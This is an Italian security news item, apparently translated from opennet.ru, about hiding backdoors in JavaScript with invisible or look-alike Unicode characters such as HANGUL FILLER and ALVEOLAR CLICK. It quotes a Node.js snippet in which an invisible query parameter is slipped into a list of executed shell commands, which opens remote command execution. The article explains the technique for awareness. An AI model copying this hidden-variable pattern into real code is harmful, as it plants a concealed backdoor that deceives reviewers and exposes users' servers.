In seguito al metodo di attacco Trojan Source, basato sull'uso di caratteri Unicode che alterano l'ordine di visualizzazione del testo bidirezionale, è stata pubblicata un'altra tecnica di inserimento di azioni nascoste, applicabile al codice in JavaScript. Il nuovo metodo si basa sull'utilizzo del carattere unicode "ㅤ" (codice 0x3164, "HANGUL FILLER"), che rientra nella categoria delle lettere, ma non ha contenuto visibile. La categoria Unicode a cui appartiene questo carattere è consentita a partire dalla specifica ECMAScript 2015 per l'uso nei nomi delle variabili JavaScript, permettendo così di creare variabili invisibili o nuove variabili indistinguibili da altre variabili nei popolari editor di codice, come Notepad++ e VS Code.
Come esempio viene fornito un codice per la piattaforma Node.js, in cui tramite una variabile composta da un solo carattere "ㅤ", è nascosta una backdoor che permette di eseguire il codice fornito dall'attaccante: app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // in realtà è indicato come «const { timeout,ㅤ \u3164}» const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // dopo la virgola c'è il simbolo \u3164 ];
A prima vista, solo il valore del timeout sembra essere passato attraverso il parametro esterno, mentre l'array delle comandi eseguibili contiene un elenco fisso innocuo. Tuttavia, in realtà, dopo la variabile timeout viene assegnato il valore di un'altra variabile invisibile con il codice carattere \u3164, anch'essa inclusa nell'array dei comandi eseguibili. In questo modo, con una struttura simile, per attivare il backdoor ed eseguire il proprio codice, l'attaccante può inviare una richiesta del tipo "https://host:8080/network_health?=comando".
Come ulteriore esempio viene menzionato il simbolo "ǃ" (ALVEOLAR CLICK), che può essere utilizzato per creare l'illusione di un punto esclamativo. Ad esempio, l'espressione "if(environmentǃ=ENV_PROD){" in esecuzione in Node.js 14 sarà sempre vera, poiché non viene effettuato un controllo di uguaglianza, ma viene assegnato alla variabile "environmentǃ" il valore ENV_PROD. Tra i caratteri Unicode fuorvianti si segnalano anche "/", "−", "+", "⩵", "❨", "⫽", "꓿" e "∗".
Fonte: opennet.ru
